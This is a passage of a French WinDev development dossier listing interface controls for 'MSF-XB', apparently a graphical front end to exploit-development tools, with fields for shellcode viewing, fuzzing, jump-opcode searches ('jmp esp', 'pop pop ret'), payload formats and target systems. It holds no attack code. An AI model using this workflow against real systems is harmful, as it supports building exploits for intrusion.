Page 450: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 455

Bouton : ONG_Onglet1.BTN_OUVRE_EXPLORER

Note pour le dossier

FR,GB: FR,GB:

Groupe GR_INFO_PROCESSOrdre navigation 7Curseur survol 0On/Off Non

Altitude 35

Bulle d'aide FR: Explorer le répertoire (*.log ?)GB: Explore the directory (*.log ?)

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\VST18111j-16-5.pngNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 451: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 456

Bouton : ONG_Onglet1.BTN_PACK

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: PACK?Groupe GR_LIST_OPCODESOrdre navigation 101Curseur survol 0On/Off Non

Altitude 39

Bulle d'aide FR: Identifier le packerGB: Identify the packer

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 452: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 457

Bouton : ONG_Onglet1.BTN_PLUS_PATTERN

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 91Curseur survol 0On/Off Non

Altitude 27

Bulle d'aide FR: Ajouter à la finGB: Pattern+= length x character

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\VST01605-16-5.pngNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 453: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 458

Bouton : ONG_Onglet1.BTN_RECHERCHE_PID

Note pour le dossier

FR,GB: FR,GB:

Groupe GR_INFO_PROCESSOrdre navigation 8Curseur survol 0On/Off Non

Altitude 33

Bulle d'aide FR: Chercher le PID du processusGB: Find the PID of the process

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\VST18062-16-5.pngNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 454: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 459

Image : BTN_Syst_Restore

Note pour le dossier

FR,GB: FR,GB:

Valeur initiale FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Restore.gifCurseur survol 0Synchro Infos Partagées NonMenu FAA par défaut Non

Cadrage horz. GaucheCadrage vert. HautAltitude 3

Numéro aide 0

Opacité 100Ascenseur et zoom auto. Non

Mode 9 images Non

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : ONG_Onglet1.BTN_TEST

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: Test PatternOrdre navigation 52Curseur survol 0On/Off Non

Altitude 4

Page 455: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 460

Bulle d'aide FR: Tester la commande avec la patternGB: Test the command with the pattern

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage Droite et basTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Bouton : ONG_Onglet1.BTN_TROUVE_BANNIERE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: bannière >>GB: banner >>

Ordre navigation 30Curseur survol 0On/Off Non

Altitude 18

Bulle d'aide FR: Retrouver les informations sur le serviceGB: Retrieve information about the service

Numéro aide 0

Opacité 100

Page 456: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 461

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : ONG_Onglet1.BTN_TROUVE_COMMANDES

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: HELPOrdre navigation 42Curseur survol 0On/Off Non

Altitude 19

Bulle d'aide FR: Essayer la commande HELP pour lister les commandes disponiblesGB: Try the HELP command to retrieve the available commands of the service

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gif

Page 457: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 462

Nb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : ONG_Onglet1.BTN_UNLOAD_DLL

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: DéchargerGB: Unload

Ordre navigation 39Curseur survol 0On/Off Non

Altitude 4

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage Droite et bas

Page 458: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 463

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Bouton : ONG_Onglet1.BTN_VoirShellcode

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: VoirGB: View

Ordre navigation 83Curseur survol 0On/Off Non

Altitude 5

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 459: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 464

Interrupteur : ONG_Onglet1.CBOX_Trace

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &TraceGB: Check box

Valeur initiale 0Ordre navigation 101Curseur survol 0Synchro Infos Partagées Non

Cadrage horz. GaucheCadrage vert. HautAltitude 31

Numéro aide 0

Opacité 100

Options FR,GB: TraceValeur persistante OuiOption multi-lignes NonOption format RTF Non

Image G:\Mes Projets\MSF-XB11\MediaPlayer_Cbox_Anim.gif

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 460: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 465

Combo : ONG_Onglet1.COMBO_ALPHABET

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: AlphabetContenu initial FR,GB: alphabetDéfaut

alphabetANSI alphabetArabe alphabetBalte alphabetChinois alphabetChinoisTraditionnel alphabetCoréen alphabetEuropeEst alphabetGrec alphabetHébreu alphabetJaponais alphabetRusse alphabetThaï alphabetTurc alphabetUTF8 alphabetVietnamien

Ordre navigation 81Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 0Largeur liste 133Larg. déroulée perso. NonHauteur ligne 15Altitude 26Retrait gauche 2Position X interne 80Largeur interne 133

Numéro aide 0

Opacité 100

Page 461: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 466

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable OuiMémorise la taille OuiHistorique des saisies NonHistorique des sélections NongLienActive OuiValeur persistante Non

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Combo : ONG_Onglet1.COMBO_COMMANDE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: CommandeGB: Command

Ordre navigation 40Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 0Largeur liste 138

Page 462: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 467

Larg. déroulée perso. NonHauteur ligne 15Altitude 17Retrait gauche 2Position X interne 81Largeur interne 138

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR: ¤

GB: 0Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable OuiMémorise la taille OuiHistorique des saisies NonHistorique des sélections OuigLienActive OuiValeur persistante Oui

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 463: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 468

Combo : ONG_Onglet1.COMBO_Convertion

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: ConvertirGB: Convert

Contenu initial FR,GB: ascii2hex hex2ascii string2utf8 ansi2unicode unicode2ansi ascii2js hex2js ansi2oem oem2ansi

Ordre navigation 79Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 0Largeur liste 96Larg. déroulée perso. NonHauteur ligne 15Altitude 24Retrait gauche 2Position X interne 80Largeur interne 96

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique Non

Page 464: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 469

Fin saisie automatique NonAvec focus OuiRedimensionnable OuiMémorise la taille OuiHistorique des saisies NonHistorique des sélections NongLienActive OuiValeur persistante Non

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Combo : ONG_Onglet1.COMBO_Encoder

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: EncodeurGB: Encoder

Ordre navigation 88Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 0Largeur liste 170Larg. déroulée perso. NonHauteur ligne 15Altitude 10Retrait gauche 2

Page 465: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 470

Position X interne 644Largeur interne 170

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable OuiMémorise la taille OuiHistorique des saisies NonHistorique des sélections NongLienActive OuiValeur persistante Non

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 466: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 471

Combo : ONG_Onglet1.COMBO_FUZZER

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: FuzzerContenu initial FR,GB: taofOrdre navigation 29Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 0Largeur liste 290Larg. déroulée perso. NonHauteur ligne 15Altitude 11Retrait gauche 2Position X interne 402Largeur interne 290

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable OuiMémorise la taille OuiHistorique des saisies NonHistorique des sélections NongLienActive Oui

Page 467: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 472

Valeur persistante Non

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Combo : ONG_Onglet1.COMBO_FormatPayload

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: FormatContenu initial FR,GB: C

JavaScript Perl Raw Summary Xecutable

Ordre navigation 86Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 0Largeur liste 75Larg. déroulée perso. NonHauteur ligne 15Altitude 8Retrait gauche 2Position X interne 852Largeur interne 75

Numéro aide 0

Page 468: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 473

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable OuiMémorise la taille OuiHistorique des saisies NonHistorique des sélections NongLienActive OuiValeur persistante Oui

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Combo : ONG_Onglet1.COMBO_Locale

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: LangueGB: Locale

Ordre navigation 91Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale Non

Page 469: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 474

Hauteur liste 0Largeur liste 58Larg. déroulée perso. NonHauteur ligne 15Altitude 38Retrait gauche 2Position X interne 288Largeur interne 58

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable OuiMémorise la taille OuiHistorique des saisies NonHistorique des sélections NongLienActive OuiValeur persistante Oui

Nb. Enreg. Max 0Fichier parcouru 15Rub. parcourue IDLANGRub. affichée AbreviationRub. mémorisée IDLANG1ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 470: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 475

Combo : ONG_Onglet1.COMBO_OPCODE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: OpcodeContenu initial FR,GB: JUMP

POP/POP/RET Groupe GR_LIST_OPCODESOrdre navigation 14Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 0Largeur liste 100Larg. déroulée perso. NonHauteur ligne 15Altitude 24Retrait gauche 2Position X interne 491Largeur interne 100

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable OuiMémorise la taille OuiHistorique des saisies Non

Page 471: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 476

Historique des sélections NongLienActive OuiValeur persistante Non

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Combo : ONG_Onglet1.COMBO_OPCODE_LIST

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Lister les opcodes avecGB: List opcodes with

Contenu initial FR,GB: msfpescan eereap findjump2

Groupe GR_LIST_OPCODESOrdre navigation 13Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 0Largeur liste 89Larg. déroulée perso. NonHauteur ligne 15Altitude 25Retrait gauche 2Position X interne 352

Page 472: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 477

Largeur interne 89

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable OuiMémorise la taille OuiHistorique des saisies NonHistorique des sélections NongLienActive OuiValeur persistante Oui

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Combo : ONG_Onglet1.COMBO_OSSP

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: SP

Page 473: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 478

Contenu initial FR,GB: 0 1 2 3 4 5 6

Ordre navigation 25Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 152Largeur liste 37Larg. déroulée perso. NonHauteur ligne 15Altitude 36Retrait gauche 2Position X interne 203Largeur interne 37

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable NonMémorise la taille NonHistorique des saisies NonHistorique des sélections NongLienActive OuiValeur persistante Non

Page 474: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 479

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Combo : ONG_Onglet1.COMBO_PROTOCOLE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Type / protocoleGB: Type / protocol

Ordre navigation 20Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 0Largeur liste 191Larg. déroulée perso. NonHauteur ligne 15Altitude 21Retrait gauche 2Position X interne 431Largeur interne 191

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode Non

Page 475: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 480

Effacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable OuiMémorise la taille OuiHistorique des saisies NonHistorique des sélections OuigLienActive OuiValeur persistante Oui

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Combo : ONG_Onglet1.COMBO_REGISTRE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: REG

Page 476: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 481

Contenu initial FR: TOUS EAX EBP EBX ECX EDI ESI ESP

GB: ALL EAX EBP EBX ECX EDI ESI ESP

Groupe GR_LIST_OPCODESOrdre navigation 15Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 0Largeur liste 69Larg. déroulée perso. NonHauteur ligne 15Altitude 26Retrait gauche 2Position X interne 619Largeur interne 69

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique Non

Page 477: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 482

Avec focus OuiRedimensionnable OuiMémorise la taille OuiHistorique des saisies NonHistorique des sélections NongLienActive OuiValeur persistante Oui

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Combo : ONG_Onglet1.COMBO_RegDump

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: RegistreGB: Register

Contenu initial FR,GB: EAX EBP EBX ECX EDI ESI ESP

Ordre navigation 79Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 0

Page 478: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 483

Largeur liste 60Larg. déroulée perso. NonHauteur ligne 15Altitude 6Retrait gauche 2Position X interne 61Largeur interne 60

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable OuiMémorise la taille OuiHistorique des saisies NonHistorique des sélections NongLienActive OuiValeur persistante Non

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage BasTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 479: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 484

Combo : ONG_Onglet1.COMBO_RetType

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Type RETGB: RET type

Contenu initial FR,GB: jmp esp pop pop ret

Ordre navigation 100Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 0Largeur liste 128Larg. déroulée perso. NonHauteur ligne 15Altitude 5Retrait gauche 2Position X interne 791Largeur interne 128

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: 0Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable OuiMémorise la taille OuiHistorique des saisies Non

Page 480: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 485

Historique des sélections NongLienActive OuiValeur persistante Oui

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage Droite et basTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Combo : ONG_Onglet1.COMBO_TARGET

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: CibleGB: Target

Contenu initial FR,GB: hpux irix linux multi osx solaris unix windows

Ordre navigation 19Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 0Largeur liste 116Larg. déroulée perso. NonHauteur ligne 15

Page 481: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 486

Altitude 20Retrait gauche 2Position X interne 230Largeur interne 116

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable OuiMémorise la taille OuiHistorique des saisies NonHistorique des sélections NongLienActive OuiValeur persistante Oui

